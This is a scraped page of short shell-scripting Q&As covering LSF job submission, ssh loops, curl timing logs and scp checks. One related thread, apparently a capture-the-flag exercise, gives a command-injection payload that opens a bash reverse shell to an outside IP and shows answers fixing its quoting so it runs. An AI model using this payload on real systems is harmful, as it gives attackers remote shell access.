bsub post processing script - shell

I was writing a script for submitting parallel jobs in cluster using bsub command
while read p; do
cd $(echo $p | tr -d '\r')
echo Submitting test: $p
bsub -P <project> -Jd <job desc> -o lsf.log "sh ./run_test.sh &> $log"
cd - &> /dev/null
done < $filename
How can I compile the results at the end of all test runs?

How about using something like this?
while read p; do
cd "$(echo "$p" | tr -d '\r')"
echo "Submitting test: $p"
bsub -P <project> -Jd <job desc> -o lsf.log \
"sh ./run_test.sh &> '$log' && cat '$log' >> /path/to/combined/log"
cd - &> /dev/null
done < "$filename"
When each job finishes successfully, the output file is concatenated with the rest.

Related

Netcat listener produces error: "bash: 1': ambiguous redirect"

When attempting to create a reverse shell with the following code injection, I receive the error: bash: 1': ambiguous redirect:
echo “ ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #” >> hackers
The code to be executed is directed to the hackers file which, in turn, is called by this script:
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Try to add \" at the start and the end :
echo “\" ; /bin/bash -c ‘bash -i >& /dev/tcp/10.10.17.216/1234 0>&1’ #\"” >> hackers
This worked for me :
echo "\" HRI ; /bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' \"" >> hackers

bash to pass array to ssh to another server

In the below bash I am trying to pass the ${array[$i]} to ssh after changing to a specific directory, but ${array[$i]} it is not recognized? The goal is to use the id in ${array[$i]} (there may be more than 1) to further go into that directory. The bash seems to work as expected except for the ${array[$i]} not be passed.
bash
readarray -t array <<< "$(printf '%s\n' $id)"
for ((i=0; i<${#array[#]}; i++ )) ; do
echo "${array[$i]}"
done
sshpass -f file.txt ssh -o strictHostKeyChecking=no -t xxx#xxx "${array[$i]}" 'cd path/to/folder/"$array[$i]" && exec bash -l'
echo ${array[$i]}
maybe?
readarray -t array <<< "$(printf '%s\n' $id)"
for ((i=0; i<${#array[#]}; i++ )) ; do
echo "${array[$i]}"
done
for i in "${array[$i]} ; do
sshpass -f file.txt ssh -o strictHostKeyChecking=no -t xxx#xxx "${array[$i]}" 'cd path/to/folder && exec bash -l'
done
contents of array[$i] ---- array[$i] will be different in number each time but the format will always be the same ----
00-0000-xxx-xxx-xxx
00-0001-yyy-yyy-yyy
desired ssh
cd path/to/folder/00-0000-xxx-xxx-xxx && cp *.txt* /home/location
cd path/to/folder/00-0000-yyy-yyy-yyy && cp *.txt* /home/location
Here, we generate a single remote that runs (cd ... && exec cp) for each array element, with each in a subshell to prevent the cd from having side effects on subsequent elements' commands:
printf -v cmd_q '(cd /path/to/folder/%q && exec cp -- *.txt* /home/location)\n' "${array[#]}"
sshpass -f file.txt ssh -o strictHostKeyChecking=no -t xxx#xxx "$cmd_q"
The exec is a minor performance enhancement, consuming the subshell started with the parenthesis by replacing it with the cp process.
The %q placeholder in the printf format string gets substituted with the individual array values.

Bash: execute command repeatedly and write output tab seperated to file

I want my file to Log like that:
Time_Namelookup: 0,1 0,2 0,12 0,45 ...
Time_Connect: 0,34 0,23 0,23 0,11 ...
Time_Starttransfer: 0,9 0,23 0,12 ...
I want that Values are added to their specific line every n seconds.
I got a code like this:
while [ "true" ]
do
echo "Time_Namelookup:" >> $file
curl -w "%{time_namelookup}\t" -o /dev/null -s https://website.com/
echo "Time_connect" >> $file
curl -w "%{time_connect}\t" -o /dev/null -s https://website.com/
echo "Time_Starttransfer:" >> $file
curl -w "%{time_starttransfer}\t" -o /dev/null -s https://website.com/
sleep 5
done
But I get something like
Time_Namelookup: 0,1
Time_Connect: 0,34
Time_Starttransfer: 0,9
Time_Namelookup: 0,2
Time_Connect:0,23 0,23
Time_Starttransfer: 0,23
Time_Namelookup: 0,45
Time_Connect: 0,11
Time_Starttransfer: 0,12
Can you help me ?
You could put this inside your loop
if [ ! -f $file ]; then
echo "Time_Namelookup:" > $file
echo "Time_Connect:" >> $file
echo "Time_Starttransfer:" >> $file
fi
name_lookup=$(curl -w "%{time_namelookup}\t" -o /dev/null -s https://website.com/)
connect=$(curl -w "%{time_connect}\t" -o /dev/null -s https://website.com/)
starttransfer=$(curl -w "%{time_starttransfer}\t" -o /dev/null -s https://website.com/)
sed -i -e "s/\(Time_Starttransfer:.*\)/\1 $starttransfer/" \
-e "s/\(Time_Connect:.*\)/\1 $connect/" \
-e "s/\(Time_Starttransfer:.*\)/\1 $starttransfer/" \
$file
you can try this;
file=yourFile
echo "Time_Namelookup :" >> $file
echo "Time_Connect :" >> $file
echo "Time_Starttransfer:" >> $file
while [ "true" ]
do
time_namelookup=$(curl -w "%{time_namelookup}\t" -o /dev/null -s https://website.com/)
time_connect=$(curl -w "%{time_connect}\t" -o /dev/null -s https://website.com/)
time_starttransfer=$(curl -w "%{time_starttransfer}\t" -o /dev/null -s https://website.com/)
sed -i "/Time_Namelookup :/s/$/\t$time_namelookup/" $file
sed -i "/Time_Connect :/s/$/\t$time_connect/" $file
sed -i "/Time_Starttransfer:/s/$/\t$time_starttransfer/" $file
sleep 5
done
sed -i : to be edited in-place.
The following part is to find "Time_Namelookup :" in the file.
/Time_Namelookup :/
/s/$/\t$time_namelookup/"
s :substitute command
/../../ :delimiter
$ :end of line character.
\t$time_namelookup: to append tab and the value.

Verifying if a file exist (script shell)

This is my code:
nb_lignes=`wc -l $1 | cut -d " " -f1`
for i in $(seq $(($nb_lignes - 1)) )
do
machine=`head $1 -n $i | tail -1`
machine1=`head $1 -n $nb_lignes | tail -1`
ssh root#$machine -x " scp /home/file.txt root#$machine1:/home && rm -r /home/file.txt"
done
I'd like to verify if file.txt exist in such machine before the scp et rm ,Please i ask how can i modify this script ?
Thank you.
You can use test command: test -f file && scp ...
ssh root#$machine -x " test -f /home/file.txt && scp /home/file.txt
root#$machine1:/home && rm -r /home/file.txt"

rake - running shell command returns error

I am trying to run in Rake the following shell command:
sh "d='jps -l | grep jar | cut -d ' ' -f 1'; if [ -z \"$d\" ]; then :; else kill \"$d\"; fi;"
However I get:
sh: -f 1: not found
If I run it in linux shell it works fine.
What is wrong?
I interpreted your question wrong earlier. This is what you want.
d='jps -l | grep jar | cut -d " " -f 1; if [ -z "$d" ]; then :; else kill "$d"; fi;'
system(d)
OR
If you want output of the command (which I guess you don't in this case)
output = `jps -l | grep jar | cut -d " " -f 1; if [ -z "$d" ]; then :; else kill "$d"; fi;`
You need to escape your single quotes and quote the whole string:
d='jps -l | grep jar | cut -d \' \' -f 1; if [ -z "$d" ]; then :; else kill "$d"; fi;'

Resources